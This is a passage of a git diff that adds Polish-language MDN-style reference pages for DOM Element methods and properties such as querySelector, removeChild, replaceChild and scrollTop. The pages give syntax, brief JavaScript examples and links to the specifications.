+++ b/files/pl/web/api/element/previoussibling/index.html
@@ -0,0 +1,28 @@
+---
+title: element.previousSibling
+slug: Web/API/Element/previousSibling
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/previousSibling
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca węzeł bezpośrednio poprzedzający bieżący węzeł w drzewie.</p>
+<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3>
+<pre class="eval"><i>pNode</i> = elementNode.previousSibling
+</pre>
+<p><code>pNode</code> to węzeł przed bieżącym na liście rodzeństwa (czyli liście dzieci rodzica). Węzeł poprzedzający element jest zwykle węzłem elementu, komentarza lub tekstowym.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>var n1 = n2.previousSibling;
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zwraca <code>null</code>, jeśli nie ma poprzedzających węzłów.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-previousSibling">DOM Level 1 Core: previousSibling</a></p>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-640FB3C8">DOM Level 2 Core: previousSibling</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.previousSibling", "fr": "fr/DOM/element.previousSibling", "ja": "ja/DOM/element.previousSibling" } ) }}</p>
diff --git a/files/pl/web/api/element/queryselector/index.html b/files/pl/web/api/element/queryselector/index.html
new file mode 100644
index 0000000000..62c6fe2561
--- /dev/null
+++ b/files/pl/web/api/element/queryselector/index.html
@@ -0,0 +1,180 @@
+---
+title: Element.querySelector()
+slug: Web/API/Element/querySelector
+translation_of: Web/API/Element/querySelector
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Returns the first element that is a descendant of the element on which it is invoked that matches the specified group of selectors.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>element</var> = <em>baseElement</em>.querySelector(<em>selector</em>s);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>selectors</code></dt>
+ <dd>A group of <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors">selectors</a> to match the descendant elements of the {{domxref("Element")}} <code>baseElement</code> against; this must be valid CSS syntax, or a <code>SyntaxError</code> exception will occur. The first element found which matches this group of selectors is returned.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>The first descendant element of <code>baseElement</code> which matches the specified group of <code>selectors</code>. The entire hierarchy of elements is considered when matching, including those outside the set of elements including <code>baseElement</code> and its descendants; in other words, <code>selectors</code> is first applied to the whole document, not the <code>baseElement</code>, to generate an initial list of potential elements. The resulting elements are then examined to see if they are descendants of <code>baseElement</code>. The first match of those remaining elements is returned by the <code>querySelector()</code> method.</p>
+
+<p>If no matches are found, the returned value is <code>null</code>.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>The specified <code>selectors</code> are invalid.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Let's consider a few examples.</p>
+
+<h3 id="Find_a_specific_element_with_specific_values_of_an_attribute">Find a specific element with specific values of an attribute</h3>
+
+<p>In this first example, the first {{HTMLElement("style")}} element which either has no type or has type "text/css" in the HTML document body is returned:</p>
+
+<pre class="brush:js">var el = document.body.querySelector("style[type='text/css'], style:not([type])");
+</pre>
+
+<h3 id="The_entire_hierarchy_counts">The entire hierarchy counts</h3>
+
+<p>The next example, below, demonstrates that the hierarchy of the entire document is considered when applying <code>selectors</code>, so that levels which are outside the specified <code>baseElement</code> are still considered when locating matches.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;h5&gt;Original content&lt;/h5&gt;
+ &lt;p&gt;
+ inside paragraph
+ &lt;span&gt;inside span&lt;/span&gt;
+ inside paragraph
+ &lt;/p&gt;
+&lt;/div&gt;
+&lt;div&gt;
+  &lt;h5&gt;Output&lt;/h5&gt;
+ &lt;div id="output"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var baseElement = document.querySelector("p");
+document.getElementById("output").innerHTML =
+  (baseElement.querySelector("div span").innerHTML);</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>The result looks like this:</p>
+
+<p>{{ EmbedLiveSample('The_entire_hierarchy_counts', 600, 160) }}</p>
+
+<p>Notice how the <code>"div span"</code> selector still matches the {{HTMLElement("span")}} element, even though the <code>baseElement</code> excludes the {{domxref("div")}} element which is part of the specified selector.</p>
+
+<p>The :scope pseudo-class restores the expected behavior, only matching selectors on descendants of the baseElement.</p>
+
+<h3 id="More_examples">More examples</h3>
+
+<p>See {{domxref("Document.querySelector()")}} for additional examples of the proper format for the <code>selectors</code>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM4','#dom-parentnode-queryselectorallselectors','querySelectorAll()')}}</td>
+ <td>{{Spec2('DOM4')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Selectors API Level 2','#queryselectorall','querySelectorAll()')}}</td>
+ <td>{{Spec2('Selectors API Level 2')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Selectors API Level 1','#queryselectorall','querySelectorAll()')}}</td>
+ <td>{{Spec2('Selectors API Level 1')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(1)}}</td>
+ <td>12</td>
+ <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+ <td>9<sup>[1][2]</sup></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>querySelector()</code> is supported in IE8, but only for CSS 2.1 selectors.<br>
+ [2] in IE8 and iE9 document must be in HTML5 mode (HTML5 doctype declaration present)</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("element.querySelectorAll()")}}</li>
+ <li>{{domxref("document.querySelector()")}}</li>
+ <li>{{domxref("document.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector">Code snippets for querySelector</a></li>
+</ul>
diff --git a/files/pl/web/api/element/removeattribute/index.html b/files/pl/web/api/element/removeattribute/index.html
new file mode 100644
index 0000000000..9f3c2c4892
--- /dev/null
+++ b/files/pl/web/api/element/removeattribute/index.html
@@ -0,0 +1,36 @@
+---
+title: element.removeAttribute
+slug: Web/API/Element/removeAttribute
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/removeAttribute
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>removeAttribute</code> usuwa atrybut bieżącego elementu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>element</i>.removeAttribute(<i>nazwaAtrybutu</i>)
+</pre>
+<ul>
+ <li><code>nazwaAtrybutu</code> to ciąg znaków określający nazwę atrybutu elementu
+ <i>
+ element</i>
+ , który to atrybut ma zostać usunięty</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// &lt;div align="left" width="200px"&gt;
+document.getElementById("div1").removeAttribute("align");
+// teraz: &lt;div width="200px"&gt;
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Aby usunąć atrybut, powinieneś używać metody <code>removeAttribute</code>, a nie ustawiać wartość atrybutu na <code>null</code> za pomocą <a href="pl/DOM/element.setAttribute">setAttribute</a>.</p>
+<p>Próba usunięcia nieistniejącego atrybutu elementu nie wyrzuca wyjątku.</p>
+<p>{{ DOMAttributeMethods() }}</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-6D6AC0F9">DOM Level 2 Core: removeAttribute</a> (wprowadzono w <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-removeAttribute">DOM Level 1 Core</a>)</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.removeAttribute", "fr": "fr/DOM/element.removeAttribute", "ja": "ja/DOM/element.removeAttribute" } ) }}</p>
diff --git a/files/pl/web/api/element/removeattributenode/index.html b/files/pl/web/api/element/removeattributenode/index.html
new file mode 100644
index 0000000000..82872fa822
--- /dev/null
+++ b/files/pl/web/api/element/removeattributenode/index.html
@@ -0,0 +1,37 @@
+---
+title: element.removeAttributeNode
+slug: Web/API/Element/removeAttributeNode
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/removeAttributeNode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>removeAttributeNode</code> usuwa określony atrybut z bieżącego elementu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>usuniętyAtr</i> =<i>element</i>.removeAttributeNode(<i>węzełAtrybutu</i>)
+</pre>
+<ul>
+ <li><code>węzełAtrybutu</code> to węzeł typu <code>Attr</code>, który ma zostać usunięty</li>
+ <li><code>removedAttr</code> to usunięty węzeł <code>Attr</code>.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// &lt;div id="top" align="center" /&gt;
+var d = document.getElementById("top");
+var d_align = d.getAttributeNode("align");
+d.removeAttributeNode(d_align);
+// align ma wartość domyślną - center,
+// więc usunięty atrybut jest od razu zastępowany:
+// &lt;div id="top" align="center" /&gt;
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Jeśli usuwany atrybut ma wartość domyślną, od razu zostanie nią zastąpiony. Zastępujący atrybut ma - jeśli mają tu one zastosowanie - taki sam URI przestrzeni nazw, nazwę lokalną oraz prefiks jak oryginalny węzeł.</p>
+<p>{{ DOMAttributeMethods() }}</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-D589198">DOM Level 2 Core: removeAttributeNode</a> (wprowadzono w <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-removeAttributeNode">DOM Level 1 Core</a>)</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.removeAttributeNode", "fr": "fr/DOM/element.removeAttributeNode", "ja": "ja/DOM/element.removeAttributeNode" } ) }}</p>
diff --git a/files/pl/web/api/element/removeattributens/index.html b/files/pl/web/api/element/removeattributens/index.html
new file mode 100644
index 0000000000..88df27e6ca
--- /dev/null
+++ b/files/pl/web/api/element/removeattributens/index.html
@@ -0,0 +1,35 @@
+---
+title: element.removeAttributeNS
+slug: Web/API/Element/removeAttributeNS
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/removeAttributeNS
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>removeAttributeNS</code> usuwa określony atrybut elementu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>element</i>.removeAttributeNS(<i>przestrzeńNazw</i>,<i>nazwaAtrybutu</i>);
+</pre>
+<ul>
+ <li><code>przestrzeńNazw</code> to ciąg znaków określający przestrzeń nazw atrybutu.</li>
+ <li><code>nazwaAtrybutu</code> to ciąg znaków z nazwą atrybutu do usunięcia.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// &lt;div id="div1" xmlns:special="http://www.mozilla.org/ns/specialspace"
+// special:specialAlign="utterleft" width="200px" /&gt;
+d = document.getElementById("div1");
+d.removeAttributeNS("http://www.mozilla.org/ns/specialspace", "specialAlign");
+// teraz: &lt;div id="div1" width="200px" /&gt;
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>{{ DOMAttributeMethods() }}</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElRemAtNS">DOM Level 2 Core: removeAttributeNS</a></p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.removeAttributeNS", "fr": "fr/DOM/element.removeAttributeNS", "ja": "ja/DOM/element.removeAttributeNS" } ) }}</p>
diff --git a/files/pl/web/api/element/removechild/index.html b/files/pl/web/api/element/removechild/index.html
new file mode 100644
index 0000000000..c07c36ab3b
--- /dev/null
+++ b/files/pl/web/api/element/removechild/index.html
@@ -0,0 +1,36 @@
+---
+title: element.removeChild
+slug: Web/API/Element/removeChild
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/removeChild
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Metoda <b>removeChild</b> usuwa węzeł potomny elementu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>stareDziecko</i> =<i>element</i>.removeChild(<i>dziecko</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>dziecko</code> jest usuwanym węzłem potomnym.</li>
+ <li><code>element</code> jest węzłem nadrzędnym węzła <code>dziecko</code>.</li>
+ <li><code>stareDziecko</code> jest referencją do usuwanego węzła <code>dziecko</code>. <code>stareDziecko == dziecko.</code></li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// &lt;div id="nadrzedny" align="center"&gt;
+//   &lt;div id="zagniezdzony"&gt;&lt;/div&gt;
+// &lt;/div&gt;
+d = document.getElementById("nadrzedny");
+d_zagniezdzony = document.getElementById("zagniezdzony");
+usuwany_wezel = d.removeChild(d_zagniezdzony);
+</pre>
+<p> </p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-1734834066">removeChild </a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.removeChild", "fr": "fr/DOM/element.removeChild", "ja": "ja/DOM/element.removeChild" } ) }}</p>
diff --git a/files/pl/web/api/element/replacechild/index.html b/files/pl/web/api/element/replacechild/index.html
new file mode 100644
index 0000000000..dcb5686d44
--- /dev/null
+++ b/files/pl/web/api/element/replacechild/index.html
@@ -0,0 +1,53 @@
+---
+title: element.replaceChild
+slug: Web/API/Element/replaceChild
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/replaceChild
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zastępuje dziecko węzła innym węzłem.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>węzełZastąpiony</i> =<i>węzełRodzic</i>.replaceChild(<i>noweDziecko</i>,<i>stareDziecko</i>);
+</pre>
+<ul>
+ <li><code>noweDziecko</code> to nowy węzeł, który ma zastąpić <code>stareDziecko</code>. Jeśli węzeł ten istnieje już gdzieś indziej w DOM, najpierw jest stamtąd usuwany.</li>
+ <li><code>stareDziecko</code> to istniejące dziecko, które ma zostać zastąpione.</li>
+ <li><code>węzełZastąpiony</code> to węzeł, który został zastąpiony. Jest to ten sam węzeł, co <code>stareDziecko</code>.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// &lt;div&gt;
+// &lt;span id="childSpan"&gt;foo bar&lt;/span&gt;
+// &lt;/div&gt;
+
+// utwórz węzeł pustego elementu
+// bez ID, atrybutów i zawartości
+var sp1 = document.createElement("span");
+
+// nadaj mu ID 'newSpan'
+sp1.setAttribute("id", "newSpan");
+
+// utwórz jakąś zawartość dla nowego elementu
+var sp1_content = document.createTextNode("Nowy element span.");
+
+// wstaw tę zawartość
+sp1.appendChild(sp1_content);
+
+// stwórz referencję do istniejącego węzła, który ma zostać zastąpiony
+var sp2 = document.getElementById("childSpan");
+var parentDiv = sp2.parentNode;
+
+// zastąp istniejący węzeł sp2 elementem span sp1
+parentDiv.replaceChild(sp1, sp2);
+
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-replaceChild">DOM Level 1 Core: replaceChild</a></p>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-785887307">DOM Level 2 Core: replaceChild</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.replaceChild", "fr": "fr/DOM/element.replaceChild", "ja": "ja/DOM/element.replaceChild" } ) }}</p>
diff --git a/files/pl/web/api/element/scrollleft/index.html b/files/pl/web/api/element/scrollleft/index.html
new file mode 100644
index 0000000000..e6c526c23b
--- /dev/null
+++ b/files/pl/web/api/element/scrollleft/index.html
@@ -0,0 +1,58 @@
+---
+title: element.scrollLeft
+slug: Web/API/Element/scrollLeft
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/scrollLeft
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>scrollLeft </b> pobiera bądź ustawia liczbę pikseli, o którą zostanie przewinięta zawartość dokumentu. Kierunek przewijania odbywa się w lewo.</p>
+<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3>
+<pre class="eval">// Pobierz wartość przewinięcia w pikselach
+var <var>sLeft</var> = <var>element</var>.scrollLeft;
+</pre>
+<p><var>sLeft</var> jest wartością liczbową reprezentującą ilość pikseli, o które <var>element</var> został przewinięty w lewo.</p>
+<pre class="eval">// Ustaw wartość przewinięcia w pikselach
+<var>element</var>.scrollLeft = 10;
+</pre>
+<p><b>scrollLeft</b> może przyjąć dowolną wartość liczbową, jednakże:</p>
+<ul>
+ <li>Jeżeli element nie może być przewijany (nie posiada atrybutu overflow), scrollLeft jest równe 0.</li>
+ <li>Jeżeli ustawiana wartość jest mniejsza niż 0, scrollLeft jest równe 0.</li>
+ <li>Jeżeli ustawiana wartość jest większa od wartości maksymalnej, o którą zawartość dokumentu może być przewijana, scrollLeft jest równe wartości maksymalnej.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>&lt;script type="text/javascript"&gt;
+
+function doScrollLeft(el, p)
+{
+ el.scrollLeft = p;
+}
+
+&lt;/script&gt;
+
+&lt;div id="aDiv"
+ style="width: 100px; height: 200px; overflow: auto;"
+&gt;
+&lt;script type="text/javascript"&gt;
+for (var i=0; i&lt;100; ++i){
+ document.write(i + '-FooBar-FooBar-FooBar&lt;br&gt;');
+}
+&lt;/script&gt;
+&lt;/div&gt;
+&lt;br&gt;
+&lt;input type="button" value="Scroll left 50"
+ onclick="doScrollLeft(document.getElementById('aDiv'), 50);"
+&gt;
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>To nie jest żadna część specyfikacji W3C.</p>
+<h3 id="Powi.C4.85zania" name="Powi.C4.85zania">Powiązania</h3>
+<p><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/scrollleft.asp">MSDN scrollLeft</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.scrollLeft", "fr": "fr/DOM/element.scrollLeft" } ) }}</p>
diff --git a/files/pl/web/api/element/scrolltop/index.html b/files/pl/web/api/element/scrolltop/index.html
new file mode 100644
index 0000000000..a79c23d9ff
--- /dev/null
+++ b/files/pl/web/api/element/scrolltop/index.html
@@ -0,0 +1,70 @@
+---
+title: element.scrollTop
+slug: Web/API/Element/scrollTop
+translation_of: Web/API/Element/scrollTop
+---
+<p>{{APIRef}}</p>
+
+<p><strong><code>scrollTop</code></strong> pobiera bądź ustawia liczbę pikseli, o którą ma zostać przewinięta w górę zawartość elementu.</p>
+
+<h2 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h2>
+
+<pre class="eval">// Pobierz wartość przewinięcia w pikselach
+var <var> intElemScrollTop</var> = <var>element</var>.scrollTop;
+</pre>
+
+<p><var>intElemScrollTop</var> jest liczbą całkowitą reprezentującą ilość pikseli, o które <var>element</var> został przewinięty w górę.</p>
+
+<pre class="eval">// Ustaw wartość przewinięcia w pikselach
+<var>element</var>.scrollTop = <var>intValue</var>;
+</pre>
+
+<p><strong><code>scrollTop</code></strong> może przyjąć dowolną wartość liczbową, jednakże:</p>
+
+<ul>
+ <li>Jeżeli element nie może być przewijany (gdy np. nie posiada własności overflow), scrollTop jest równe 0.</li>
+ <li>Jeżeli ustawiona wartość jest mniejsza niż 0, <code>scrollTop</code> jest równe 0.</li>
+ <li>Jeżeli ustawiona wartość jest większa od wartości maksymalnej, o którą zawartość elementu może być przewinięta, <code>scrollTop</code> jest równe wartości maksymalnej.</li>
+</ul>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Element <strong><code>scrollTop</code></strong> jest miarą odległości od góry elementu do najwyższej krawędzi jego widzialnej zawartości.</p>
+
+<p>Kiedy zawartość elementu nie powoduje powstania pionowego paska przewijania, wartość <code>scrollTop</code> jest domyślnie ustawiona na 0.</p>
+
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+
+<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p>
+
+<p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p>
+
+<p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong><em>margin-top</em><em>margin-bottom</em><em>border-top</em><em>border-bottom</em><span class="comment">{{ mediawiki.external('if IE') }}&gt;&lt;span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-left&lt;/span&gt;&lt;span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-left&lt;/span&gt;&lt;span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;padding-left&lt;/span&gt;&lt;span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;"&gt;padding-right&lt;/span&gt;&lt;span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-right&lt;/span&gt;&lt;span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-right&lt;/span&gt;&lt;!{{ mediawiki.external('endif') }}</span></div>
+
+<p style="margin-top: 270px;"><img alt="Image:scrollTop.png"></p>
+
+<p>Nie mamy interaktywnej demonstracji jak ma to miejsce w dokumentacji Gecko DOM.</p>
+
+<h2 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h2>
+
+<p><code>scrollTop</code> jest częścią obiektowego modelu MSIE. <code>scrollTop</code> nie jest częścią żadnej specyfikacji W3C lub rekomendacji technicznej.</p>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>scrollTop jest własnością obiektowego modelu DHTML (Dynamic HyperText Markup Language), który po raz pierwszy został wprowadzony przez MSIE. Własność ta jest zdefiniowana jako odległość do górnej krawędzi widoku elementu przewijanego.</p>
+
+<h2 id="Dokumentacja" name="Dokumentacja">Dokumentacja</h2>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/scrolltop.asp?frame=true">MSDN's scrollTop definition</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">MSDN's Measuring Element Dimension and Location</a></li>
+ <li><a class="external" href="http://www.mozilla.org/docs/dom/domref/scrollTop.html">Gecko DOM Reference on scrollTop</a></li>
+</ul>
diff --git a/files/pl/web/api/element/scrollwidth/index.html b/files/pl/web/api/element/scrollwidth/index.html
new file mode 100644
index 0000000000..42cb1a96f1
--- /dev/null
+++ b/files/pl/web/api/element/scrollwidth/index.html
@@ -0,0 +1,32 @@
+---
+title: element.scrollWidth
+slug: Web/API/Element/scrollWidth
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/scrollWidth
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>scrollWidth</b> jest własnością tylko do odczytu, która zwraca szerokość zawartości elementu w pikselach lub szerokość samego elementu - w zależności od tego, która z tych wartości jest większa.</p>
+<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3>
+<pre class="eval">var <var>xScrollWidth</var> = <var>element</var>.scrollWidth;
+</pre>
+<p><var>xScrollWidth</var> jest szerokością zawartości elementu <var>element</var> w pikselach.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>&lt;div id="aDiv"
+ style="width: 100px; height: 200px; overflow: auto;"
+&gt;-FooBar-FooBar-FooBar&lt;/div&gt;
+&lt;br&gt;
+&lt;input type="button" value="Show scrollWidth"
+ onclick="alert(document.getElementById('aDiv').scrollWidth);"&gt;
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>Nie ma specyfikacji W3C dla <b>scrollWidth</b>.</p>
